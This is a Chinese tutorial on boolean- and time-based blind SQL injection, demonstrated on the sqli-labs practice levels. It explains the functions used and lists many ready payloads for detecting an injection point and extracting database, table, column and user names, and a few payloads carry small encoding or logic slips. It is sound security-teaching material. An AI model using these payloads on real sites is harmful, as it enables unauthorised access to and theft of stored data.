SQL bool盲注和时间盲注详解
作者:永远是少年啊 发布时间:2024-01-21 23:42:52
今天继续给大家介绍Linux运维相关知识,本文主要内容是SQL bool盲注和时间盲注。
免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!
一、bool盲注和时间盲注常用函数
1、休眠函数
sleep()是SQL语句中用于休眠的函数,时间盲注中常用,sleep(x)可以让程序休眠x秒。
2、字符串截取函数
字符串截取函数是bool盲注和时间盲注中都需要使用的函数。常用的字符串截取函数有mid()、substr()、left()。
mid()函数格式为:
mid(【目标字段】,【开始的位置】,【截取长度】)
其中,开始的位置默认从1开始。
substr()函数的用法与mid相似,left函数则默认从字段的最左边开始截取,其格式为:
left(【目标字段】,【截取长度】)
表示从目标字段的左边开始截取指定长度的字符。
3、字符串长度函数
字符串长度函数length()会应用在SQL bool盲注和时间盲注中,length()函数可以反馈目标字符串的长度。
4、ascii码转换函数
ascii码转换函数可以将一个字符转换成ascii码,在SQL基于时间的盲注和基于bool的盲注中,ascii码转换函数可以将一个字符转换成其ascii码值。常用的ascii码转换函数为ascii()、ord()。
5、条件判断函数
条件判断函数if是SQL时间盲注中的必用函数,可以利用if函数来根据条件来反馈不同的结果。
if函数格式如下所示:
if(【条件】,【值1】,【值2】)
当条件成立时,if函数返回值1,当条件不成立时,if函数返回值2.
二、bool盲注和时间盲注payload
1、SQL注入点探测
我们使用sqli_lab的靶场,对基于bool的盲注和基于时间的盲注进行讲解,在sqli_lab靶场中,基于bool的盲注是第8关,基于时间的盲注是第9关,页面如下所示:
对于bool类型的盲注,我们可以通过执行以下payload来探测是否存在注入点:
id=1'and 1=2#
如果显示异常,那么就说明and后面的内容被成功执行,因此可能存在bool类型的SQL注入。
对于时间类型的盲注,我们可以通过执行以下payload来探测是否存在注入点:
id=1'and sleep(10)#
如果网页反应时间出现了明显延迟,就说明存在基于时间的SQL注入。
2、猜解数据库名
bool类型的盲注猜解数据库长度payload如下所示:
id=1'and length(database())>10#
时间类型的盲注猜解数据库长度payload如下所示:
id=1'and sleep(if(length(database())>10,10,1))>10#
bool类型的盲注猜解数据库名称payload如下所示:
id=1'and ascii(mid(database(),1,1))>115#
时间类型的盲注猜解数据库名称payload如下所示:
id=1'and sleep(if(ascii(mid(database(),1,1))>115,10,1))#
上述四个payload,length函数用于反馈查询结果的长度,mid函数用于截取查询结果的指定字符,ascii函数用于将其转换为ascii码的形式,if函数中第一个参数为一个判断表达式,本质上是bool类型盲注的核心,后面的10和1分别为表达式成立或者不成立条件下的返回值,该返回值为sleep函数的输入,以此就可以控制网页反应的时间。
3、猜解表名
bool类型的盲注表名个数猜解payload如下所示:
id=1'and (select count(*) from information_schema.tables where table_schema=database())>2#
时间类型的盲注表名个数猜解payload如下所示:
id=1'and sleep(if((select count(*) from information_schema.tables where table_schema=database())>2,10,1))#
bool类型的盲注表名猜解payload如下所示:
id=1'and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100#
时间类型的盲注表名猜解payload如下所示:
id=1'and sleep(if((ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100),10,1))#
在上述4个payload中,其原理与之前介绍的相似,但是是使用limit函数来不断的控制反馈的变量。
4、猜解字段名
bool类型的盲注字段名个数猜解payload如下所示:
id=1'and (select count(*) from information_schema.columns where table_name='users'and table_schema=database())>1#
时间类型的盲注字段名个数猜解payload如下所示:
id=1'and sleep(if((select count(*) from information_schema.columns where table_name='users'and table_schema=database())>1,10,1))#
bool类型的盲注字段名个数猜解payload如下所示:
id=1'and ascii(mid((select% column_name from information_schema.columns where%20table_name='users'and table_schema=database() limit 0,1),1,1))>1000#
时间类型的盲注字段名个数猜解payload如下所示:
id=1'and sleep(if(ascii(mid((select% column_name from information_schema.columns where%20table_name='users'and table_schema=database() limit 0,1),1,1))>1000,10,1))#
其原理与之前类似。
5、猜解数据
bool类型的盲注数据长度猜解payload如下所示:
id=1'and (select count(*) from users)>1#
时间类型的盲注数据长度猜解payload如下所示:
id=1'and sleep(if((select count(*) from users)>1,10,1))#
bool类型的盲注数据猜解payload如下所示:
id=1'and ascii(mid((select username from users limit 0,1),1,1))>1#
时间类型的盲注数据猜解payload如下所示:
id=1'and sleep(if(ascii(mid((select username from users limit 0,1),1,1))>1,10,1))#
来源:https://blog.csdn.net/weixin_40228200/article/details/125829810
猜你喜欢
- 很早就在这里看到过解决方案,与嗷嗷讨论后发现这个方案还是很可靠的。当然,唯一的缺点就是每一个属性都要去Hack,但我在很多实践中,只用‘修正
- Base64是一种用64个字符来表示任意二进制数据的方法。用记事本打开exe、jpg、pdf这些文件时,我们都会看到一大堆乱码,因为二进制文
- 本文深入分析了Python面向对象程序设计OOP。分享给大家供大家参考,具体如下:下面是一个关于OOP的实例,模块文件为person.py#
- quiver绘制表示梯度变化非常有用,下面是学习过程中给出的两个例子,可以很好理解quiver的用法from pylab import *c
- 这里记录一下pytorch神经网络参数管理方法(参数访问、参数初始化、参数绑定),方便自己和需要的朋友学习、查阅。一、参数访问1.1 访问指
- Python 中提供了对时间日期的多种多样的处理方式,主要是在 time 和 datetime 这两个模块里。一、time 模块time 模
- 注意:列转行的方法可能是我独创的了,呵呵,因为在网上找不到哦,全部是我自己写的,用到了系统的SysColumns(一)行转列的方法先说说行转
- 有时候使用到获取本机IP,就采用以下方式进行。#!/usr/bin/python import socketimport stru
- 了解如何在sublime编辑器中安装python软件包,以实现自动完成等功能,并在sublime编辑器本身中运行build。安装Sublim
- python sys模块包含了与python解释器和它的环境有关的函数,这个你可以通过dir(sys)来查看他里面的方法和成员属性impor
- 1.基本结构 create OR REPLACE PROCEDURE存储过程名字 ( 参数1 IN NUMBER, 参数2 IN NUMBE
- 批标准化层 tf.keras.layers.Batchnormalization()tf.keras.layers.Batchnormali
- 1. 查看数据库的版本 select @@version 2. 查看数据库所在机器操作系统参数 exec master..xp_msver
- 开始制作符合标准的站点,第一件事情就是声明符合自己需要的DOCTYPE。查看本站首页原代码,可以看到第一行就是:<!DOCTYPE h
- 前言 在我们学习C语言时,我们学了
- 本文实例讲述了Python3将jpg转为pdf文件的方法。分享给大家供大家参考,具体如下:#coding=utf-8#!/usr/bin/e
- 1、pylint是什么? Pylint 是一个 Python 代码分析工具,它分析 Python 代码中的错误,查找不符合代码风格标准(Py
- 整体思路将要备份的目录列为一个列表,通过执行系统命令,进行压缩、备份。这样关键在于构造命令并使用 os.system( )来执行,一开始使用
- 关于 游标 if,for 的例子 create or replace procedure peace_if is cursor var_c
- 本文实例为大家分享了python爬虫爬取淘宝商品的具体代码,供大家参考,具体内容如下1、需求目标 : 进去淘宝页面,搜索耐克关键词,抓取 商